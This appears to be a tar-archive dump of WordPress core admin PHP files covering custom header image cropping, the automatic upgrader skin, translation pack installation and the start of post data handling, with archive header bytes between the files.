$file = wp_handle_upload( $uploaded_file, $overrides );

if ( isset( $file['error'] ) ) {
			wp_die( $file['error'], __( 'Image Upload Error' ) );
		}

$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

// Construct the object array.
		$object = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-header',
		);

// Save the data.
		$attachment_id = wp_insert_attachment( $object, $file );
		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
	}

/**
	 * Display third step of custom header image page.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Switched to using wp_get_attachment_url() instead of the guid
	 *              for retrieving the header image URL.
	 */
	public function step_3() {
		check_admin_referer( 'custom-header-crop-image' );

if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The current theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

if ( ! empty( $_POST['skip-cropping'] ) && ! ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The current theme does not support a flexible sized header image.' ) . '</p>',
				403
			);
		}

if ( $_POST['oitar'] > 1 ) {
			$_POST['x1']     = $_POST['x1'] * $_POST['oitar'];
			$_POST['y1']     = $_POST['y1'] * $_POST['oitar'];
			$_POST['width']  = $_POST['width'] * $_POST['oitar'];
			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
		}

$attachment_id = absint( $_POST['attachment_id'] );
		$original      = get_attached_file( $attachment_id );

$dimensions = $this->get_header_dimensions(
			array(
				'height' => $_POST['height'],
				'width'  => $_POST['width'],
			)
		);
		$height     = $dimensions['dst_height'];
		$width      = $dimensions['dst_width'];

if ( empty( $_POST['skip-cropping'] ) ) {
			$cropped = wp_crop_image( $attachment_id, (int) $_POST['x1'], (int) $_POST['y1'], (int) $_POST['width'], (int) $_POST['height'], $width, $height );
		} elseif ( ! empty( $_POST['create-new-attachment'] ) ) {
			$cropped = _copy_image_file( $attachment_id );
		} else {
			$cropped = get_attached_file( $attachment_id );
		}

if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
		}

/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

$object = $this->create_attachment_object( $cropped, $attachment_id );

if ( ! empty( $_POST['create-new-attachment'] ) ) {
			unset( $object['ID'] );
		}

// Update the attachment.
		$attachment_id = $this->insert_attachment( $object, $cropped );

$url = wp_get_attachment_url( $attachment_id );
		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

// Cleanup.
		$medium = str_replace( wp_basename( $original ), 'midsize-' . wp_basename( $original ), $original );
		if ( file_exists( $medium ) ) {
			wp_delete_file( $medium );
		}

if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
			wp_delete_file( $original );
		}

return $this->finished();
	}

/**
	 * Display last step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function finished() {
		$this->updated = true;
		$this->step_1();
	}

/**
	 * Display the page based on the current step.
	 *
	 * @since 2.1.0
	 */
	public function admin_page() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to customize headers.' ) );
		}
		$step = $this->step();
		if ( 2 == $step ) {
			$this->step_2();
		} elseif ( 3 == $step ) {
			$this->step_3();
		} else {
			$this->step_1();
		}
	}

/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

/**
	 * Unused since 3.5.0.
	 *
	 * @since 3.4.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

/**
	 * Choose a header image, selected from existing uploaded and default headers,
	 * or provide an array of uploaded header data (either new, or from media library).
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
	 *  for randomly cycling among the default images; 'random-uploaded-image', for randomly cycling
	 *  among the uploaded images; the key of a default image registered for that theme; and
	 *  the key of an image uploaded for that theme (the attachment ID of the image).
	 *  Or an array of arguments: attachment_id, url, width, height. All are required.
	 */
	final public function set_header_image( $choice ) {
		if ( is_array( $choice ) || is_object( $choice ) ) {
			$choice = (array) $choice;
			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) ) {
				return;
			}

$choice['url'] = esc_url_raw( $choice['url'] );

$header_image_data = (object) array(
				'attachment_id' => $choice['attachment_id'],
				'url'           => $choice['url'],
				'thumbnail_url' => $choice['url'],
				'height'        => $choice['height'],
				'width'         => $choice['width'],
			);

update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );
			set_theme_mod( 'header_image', $choice['url'] );
			set_theme_mod( 'header_image_data', $header_image_data );
			return;
		}

if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ), true ) ) {
			set_theme_mod( 'header_image', $choice );
			remove_theme_mod( 'header_image_data' );
			return;
		}

$uploaded = get_uploaded_header_images();
		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
			$header_image_data = $uploaded[ $choice ];

} else {
			$this->process_default_headers();
			if ( isset( $this->default_headers[ $choice ] ) ) {
				$header_image_data = $this->default_headers[ $choice ];
			} else {
				return;
			}
		}

set_theme_mod( 'header_image', esc_url_raw( $header_image_data['url'] ) );
		set_theme_mod( 'header_image_data', $header_image_data );
	}

/**
	 * Remove a header image.
	 *
	 * @since 3.4.0
	 */
	final public function remove_header_image() {
		$this->set_header_image( 'remove-header' );
	}

/**
	 * Reset a header image to the default image for the theme.
	 *
	 * This method does not do anything if the theme does not have a default header image.
	 *
	 * @since 3.4.0
	 */
	final public function reset_header_image() {
		$this->process_default_headers();
		$default = get_theme_support( 'custom-header', 'default-image' );

if ( ! $default ) {
			$this->remove_header_image();
			return;
		}
		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

$default_data = array();
		foreach ( $this->default_headers as $header => $details ) {
			if ( $details['url'] == $default ) {
				$default_data = $details;
				break;
			}
		}

set_theme_mod( 'header_image', $default );
		set_theme_mod( 'header_image_data', (object) $default_data );
	}

/**
	 * Calculate width and height based on what the currently selected theme supports.
	 *
	 * @since 3.9.0
	 *
	 * @param array $dimensions
	 * @return array dst_height and dst_width of header image.
	 */
	final public function get_header_dimensions( $dimensions ) {
		$max_width       = 0;
		$width           = absint( $dimensions['width'] );
		$height          = absint( $dimensions['height'] );
		$theme_height    = get_theme_support( 'custom-header', 'height' );
		$theme_width     = get_theme_support( 'custom-header', 'width' );
		$has_flex_width  = current_theme_supports( 'custom-header', 'flex-width' );
		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
		$has_max_width   = current_theme_supports( 'custom-header', 'max-width' );
		$dst             = array(
			'dst_height' => null,
			'dst_width'  => null,
		);

// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( $has_flex_width ) {
			$max_width = 1500;
		}

if ( $has_max_width ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}
		$max_width = max( $max_width, $theme_width );

if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
		} elseif ( $has_flex_height && $has_flex_width ) {
			$dst['dst_height'] = $height;
		} else {
			$dst['dst_height'] = $theme_height;
		}

if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
		} elseif ( $has_flex_width && $has_flex_height ) {
			$dst['dst_width'] = $width;
		} else {
			$dst['dst_width'] = $theme_width;
		}

return $dst;
	}

/**
	 * Create an attachment 'object'.
	 *
	 * @since 3.9.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array Attachment object.
	 */
	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

$size       = @getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

$object = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'custom-header',
			'post_parent'    => $parent_attachment_id,
		);

return $object;
	}

/**
	 * Insert an attachment and its metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array  $object  Attachment object.
	 * @param string $cropped File path to cropped image.
	 * @return int Attachment ID.
	 */
	final public function insert_attachment( $object, $cropped ) {
		$parent_id = isset( $object['post_parent'] ) ? $object['post_parent'] : null;
		unset( $object['post_parent'] );

$attachment_id = wp_insert_attachment( $object, $cropped );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

// If this is a crop, save the original attachment ID as metadata.
		if ( $parent_id ) {
			$metadata['attachment_parent'] = $parent_id;
		}

/**
		 * Filters the header image attachment metadata.
		 *
		 * @since 3.9.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );

wp_update_attachment_metadata( $attachment_id, $metadata );

return $attachment_id;
	}

/**
	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
	 * new object. Returns JSON-encoded object details.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_crop() {
		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_send_json_error();
		}

$crop_details = $_POST['cropDetails'];

$dimensions = $this->get_header_dimensions(
			array(
				'height' => $crop_details['height'],
				'width'  => $crop_details['width'],
			)
		);

$attachment_id = absint( $_POST['id'] );

$cropped = wp_crop_image(
			$attachment_id,
			(int) $crop_details['x1'],
			(int) $crop_details['y1'],
			(int) $crop_details['width'],
			(int) $crop_details['height'],
			(int) $dimensions['dst_width'],
			(int) $dimensions['dst_height']
		);

if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
		}

/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

$object = $this->create_attachment_object( $cropped, $attachment_id );

$previous = $this->get_previous_crop( $object );

if ( $previous ) {
			$object['ID'] = $previous;
		} else {
			unset( $object['ID'] );
		}

$new_attachment_id = $this->insert_attachment( $object, $cropped );

$object['attachment_id'] = $new_attachment_id;
		$object['url']           = wp_get_attachment_url( $new_attachment_id );

$object['width']  = $dimensions['dst_width'];
		$object['height'] = $dimensions['dst_height'];

wp_send_json_success( $object );
	}

/**
	 * Given an attachment ID for a header image, updates its "last used"
	 * timestamp to now.
	 *
	 * Triggered when the user tries adds a new header image from the
	 * Media Manager, even if s/he doesn't save that change.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_add() {
		check_ajax_referer( 'header-add', 'nonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

wp_send_json_success();
	}

/**
	 * Given an attachment ID for a header image, unsets it as a user-uploaded
	 * header image for the current theme.
	 *
	 * Triggered when the user clicks the overlay "X" button next to each image
	 * choice in the Customizer's Header tool.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_remove() {
		check_ajax_referer( 'header-remove', 'nonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		delete_post_meta( $attachment_id, $key );
		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

wp_send_json_success();
	}

/**
	 * Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $wp_customize Customize manager.
	 */
	public function customize_set_last_used( $wp_customize ) {

$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );
		if ( ! $header_image_data_setting ) {
			return;
		}
		$data = $header_image_data_setting->post_value();

if ( ! isset( $data['attachment_id'] ) ) {
			return;
		}

$attachment_id = $data['attachment_id'];
		$key           = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
	}

/**
	 * Gets the details of default header images if defined.
	 *
	 * @since 3.9.0
	 *
	 * @return array Default header images.
	 */
	public function get_default_header_images() {
		$this->process_default_headers();

// Get the default image if there is one.
		$default = get_theme_support( 'custom-header', 'default-image' );

if ( ! $default ) { // If not, easy peasy.
			return $this->default_headers;
		}

$default             = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
		$already_has_default = false;

foreach ( $this->default_headers as $k => $h ) {
			if ( $h['url'] === $default ) {
				$already_has_default = true;
				break;
			}
		}

if ( $already_has_default ) {
			return $this->default_headers;
		}

// If the one true image isn't included in the default set, prepend it.
		$header_images            = array();
		$header_images['default'] = array(
			'url'           => $default,
			'thumbnail_url' => $default,
			'description'   => 'Default',
		);

// The rest of the set comes after.
		return array_merge( $header_images, $this->default_headers );
	}

/**
	 * Gets the previously uploaded header images.
	 *
	 * @since 3.9.0
	 *
	 * @return array Uploaded header images.
	 */
	public function get_uploaded_header_images() {
		$header_images = get_uploaded_header_images();
		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		$alt_text_key  = '_wp_attachment_image_alt';

foreach ( $header_images as &$header_image ) {
			$header_meta               = get_post_meta( $header_image['attachment_id'] );
			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
			$header_image['alt_text']  = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
		}

return $header_images;
	}

/**
	 * Get the ID of a previous crop from the same base image.
	 *
	 * @since 4.9.0
	 *
	 * @param array $object A crop attachment object.
	 * @return int|false An attachment ID if one exists. False if none.
	 */
	public function get_previous_crop( $object ) {
		$header_images = $this->get_uploaded_header_images();

// Bail early if there are no header images.
		if ( empty( $header_images ) ) {
			return false;
		}

$previous = false;

foreach ( $header_images as $image ) {
			if ( $image['attachment_parent'] === $object['post_parent'] ) {
				$previous = $image['attachment_id'];
				break;
			}
		}

return $previous;
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-automatic-upgrader-skin.php�������������������������������������������������������������������0000604�����������������00000006235�15075125354�0013130 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Automatic_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Automatic WordPress Upgrades
 *
 * This skin is designed to be used when no output is intended, all output
 * is captured and stored for the caller to process and log/email/discard.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
	protected $messages = array();

/**
	 * Determines whether the upgrader needs FTP/SSH details in order to connect
	 * to the filesystem.
	 *
	 * @since 3.7.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		if ( $context ) {
			$this->options['context'] = $context;
		}
		/*
		 * TODO: Fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version.
		 * This will output a credentials form in event of failure. We don't want that, so just hide with a buffer.
		 */
		ob_start();
		$result = parent::request_filesystem_credentials( $error, $context, $allow_relaxed_file_ownership );
		ob_end_clean();
		return $result;
	}

/**
	 * @return array
	 */
	public function get_upgrade_messages() {
		return $this->messages;
	}

/**
	 * @param string|array|WP_Error $data
	 * @param mixed                 ...$args Optional text replacements.
	 */
	public function feedback( $data, ...$args ) {
		if ( is_wp_error( $data ) ) {
			$string = $data->get_error_message();
		} elseif ( is_array( $data ) ) {
			return;
		} else {
			$string = $data;
		}
		if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
			$string = $this->upgrader->strings[ $string ];
		}

if ( strpos( $string, '%' ) !== false ) {
			if ( ! empty( $args ) ) {
				$string = vsprintf( $string, $args );
			}
		}

$string = trim( $string );

// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
		$string = wp_kses(
			$string,
			array(
				'a'      => array(
					'href' => true,
				),
				'br'     => true,
				'em'     => true,
				'strong' => true,
			)
		);

if ( empty( $string ) ) {
			return;
		}

$this->messages[] = $string;
	}

/**
	 */
	public function header() {
		ob_start();
	}

/**
	 */
	public function footer() {
		$output = ob_get_clean();
		if ( ! empty( $output ) ) {
			$this->feedback( $output );
		}
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������translation-install.php�����������������������������������������������������������������������������0000604�����������������00000021241�15075125355�0011263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Translation Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieve translations from WordPress Translation API.
 *
 * @since 4.0.0
 *
 * @param string       $type Type of translations. Accepts 'plugins', 'themes', 'core'.
 * @param array|object $args Translation API arguments. Optional.
 * @return object|WP_Error On success an object of translations, WP_Error on failure.
 */
function translations_api( $type, $args = null ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

if ( ! in_array( $type, array( 'plugins', 'themes', 'core' ), true ) ) {
		return new WP_Error( 'invalid_type', __( 'Invalid translation type.' ) );
	}

/**
	 * Allows a plugin to override the WordPress.org Translation Installation API entirely.
	 *
	 * @since 4.0.0
	 *
	 * @param bool|array  $result The result object. Default false.
	 * @param string      $type   The type of translations being requested.
	 * @param object      $args   Translation API arguments.
	 */
	$res = apply_filters( 'translations_api', false, $type, $args );

if ( false === $res ) {
		$url      = 'http://api.wordpress.org/translations/' . $type . '/1.0/';
		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

$options = array(
			'timeout' => 3,
			'body'    => array(
				'wp_version' => $wp_version,
				'locale'     => get_locale(),
				'version'    => $args['version'], // Version of plugin, theme or core.
			),
		);

if ( 'core' !== $type ) {
			$options['body']['slug'] = $args['slug']; // Plugin or theme slug.
		}

$request = wp_remote_post( $url, $options );

if ( $ssl && is_wp_error( $request ) ) {
			trigger_error(
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
				headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
			);

$request = wp_remote_post( $http_url, $options );
		}

if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'translations_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( ! is_object( $res ) && ! is_array( $res ) ) {
				$res = new WP_Error(
					'translations_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}
		}
	}

/**
	 * Filters the Translation Installation API response results.
	 *
	 * @since 4.0.0
	 *
	 * @param object|WP_Error $res  Response object or WP_Error.
	 * @param string          $type The type of translations being requested.
	 * @param object          $args Translation API arguments.
	 */
	return apply_filters( 'translations_api_result', $res, $type, $args );
}

/**
 * Get available translations from the WordPress.org API.
 *
 * @since 4.0.0
 *
 * @see translations_api()
 *
 * @return array[] Array of translations, each an array of data, keyed by the language. If the API response results
 *                 in an error, an empty array will be returned.
 */
function wp_get_available_translations() {
	if ( ! wp_installing() ) {
		$translations = get_site_transient( 'available_translations' );
		if ( false !== $translations ) {
			return $translations;
		}
	}

// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

$api = translations_api( 'core', array( 'version' => $wp_version ) );

if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
		return array();
	}

$translations = array();
	// Key the array with the language code for now.
	foreach ( $api['translations'] as $translation ) {
		$translations[ $translation['language'] ] = $translation;
	}

if ( ! defined( 'WP_INSTALLING' ) ) {
		set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
	}

return $translations;
}

/**
 * Output the select form for the language selection on the installation screen.
 *
 * @since 4.0.0
 *
 * @global string $wp_local_package Locale code of the package.
 *
 * @param array[] $languages Array of available languages (populated via the Translation API).
 */
function wp_install_language_form( $languages ) {
	global $wp_local_package;

$installed_languages = get_available_languages();

echo "<label class='screen-reader-text' for='language'>Select a default language</label>\n";
	echo "<select size='14' name='language' id='language'>\n";
	echo '<option value="" lang="en" selected="selected" data-continue="Continue" data-installed="1">English (United States)</option>';
	echo "\n";

if ( ! empty( $wp_local_package ) && isset( $languages[ $wp_local_package ] ) ) {
		if ( isset( $languages[ $wp_local_package ] ) ) {
			$language = $languages[ $wp_local_package ];
			printf(
				'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
				esc_attr( $language['language'] ),
				esc_attr( current( $language['iso'] ) ),
				esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
				in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
				esc_html( $language['native_name'] )
			);

unset( $languages[ $wp_local_package ] );
		}
	}

foreach ( $languages as $language ) {
		printf(
			'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
			esc_attr( $language['language'] ),
			esc_attr( current( $language['iso'] ) ),
			esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
			in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
			esc_html( $language['native_name'] )
		);
	}
	echo "</select>\n";
	echo '<p class="step"><span class="spinner"></span><input id="language-continue" type="submit" class="button button-primary button-large" value="Continue" /></p>';
}

/**
 * Download a language pack.
 *
 * @since 4.0.0
 *
 * @see wp_get_available_translations()
 *
 * @param string $download Language code to download.
 * @return string|bool Returns the language code if successfully downloaded
 *                     (or already installed), or false on failure.
 */
function wp_download_language_pack( $download ) {
	// Check if the translation is already installed.
	if ( in_array( $download, get_available_languages(), true ) ) {
		return $download;
	}

if ( ! wp_is_file_mod_allowed( 'download_language_pack' ) ) {
		return false;
	}

// Confirm the translation is one we can download.
	$translations = wp_get_available_translations();
	if ( ! $translations ) {
		return false;
	}
	foreach ( $translations as $translation ) {
		if ( $translation['language'] === $download ) {
			$translation_to_load = true;
			break;
		}
	}

if ( empty( $translation_to_load ) ) {
		return false;
	}
	$translation = (object) $translation;

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin              = new Automatic_Upgrader_Skin;
	$upgrader          = new Language_Pack_Upgrader( $skin );
	$translation->type = 'core';
	$result            = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );

if ( ! $result || is_wp_error( $result ) ) {
		return false;
	}

return $translation->language;
}

/**
 * Check if WordPress has access to the filesystem without asking for
 * credentials.
 *
 * @since 4.0.0
 *
 * @return bool Returns true on success, false on failure.
 */
function wp_can_install_language_pack() {
	if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
		return false;
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin     = new Automatic_Upgrader_Skin;
	$upgrader = new Language_Pack_Upgrader( $skin );
	$upgrader->init();

$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );

if ( ! $check || is_wp_error( $check ) ) {
		return false;
	}

return true;
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������post.php��������������������������������������������������������������������������������������������0000604�����������������00000225024�15075125355�0006253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Post Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Rename $_POST data from form names to DB post columns.
 *
 * Manipulates $_POST directly.
 *
 * @since 2.6.0
 *
 * @param bool  $update    Are we updating a pre-existing post?
 * @param array $post_data Array of post data. Defaults to the contents of $_POST.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_translate_postdata( $update = false, $post_data = null ) {

if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

if ( $update ) {
		$post_data['ID'] = (int) $post_data['post_ID'];
	}

$ptype = get_post_type_object( $post_data['post_type'] );

if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
		}
	} elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
		}
	}

if ( isset( $post_data['content'] ) ) {
		$post_data['post_content'] = $post_data['content'];
	}

if ( isset( $post_data['excerpt'] ) ) {
		$post_data['post_excerpt'] = $post_data['excerpt'];
	}

if ( isset( $post_data['parent_id'] ) ) {
		$post_data['post_parent'] = (int) $post_data['parent_id'];
	}

if ( isset( $post_data['trackback_url'] ) ) {
		$post_data['to_ping'] = $post_data['trackback_url'];
	}

$post_data['user_ID'] = get_current_user_id();

if ( ! empty( $post_data['post_author_override'] ) ) {
		$post_data['post_author'] = (int) $post_data['post_author_override'];
	} else {
		if ( ! empty( $post_data['post_author'] ) ) {
			$post_data['post_author'] = (int) $post_data['post_author'];
		} else {
			$post_data['post_author'] = (int) $post_data['user_ID'];
		}
	}

if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] )
		&& ! current_user_can( $ptype->cap->edit_others_posts ) ) {

if ( $update ) {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
			}
		} else {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
			}
		}
	}

if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

// No longer an auto-draft.
		if ( 'auto-draft' === $post_data['post_status'] ) {
			$post_data['post_status'] = 'draft';
		}

if ( ! get_post_status_object( $post_data['post_status'] ) ) {
			unset( $post_data['post_status'] );
		}
	}

// What to do based on which button they pressed.
	if ( isset( $post_data['saveasdraft'] ) && '' !== $post_data['saveasdraft'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['saveasprivate'] ) && '' !== $post_data['saveasprivate'] ) {
		$post_data['post_status'] = 'private';
	}
	if ( isset( $post_data['publish'] ) && ( '' !== $post_data['publish'] )
		&& ( ! isset( $post_data['post_status'] ) || 'private' !== $post_data['post_status'] )
	) {
		$post_data['post_status'] = 'publish';
	}
	if ( isset( $post_data['advanced'] ) && '' !== $post_data['advanced'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['pending'] ) && '' !== $post_data['pending'] ) {
		$post_data['post_status'] = 'pending';
	}

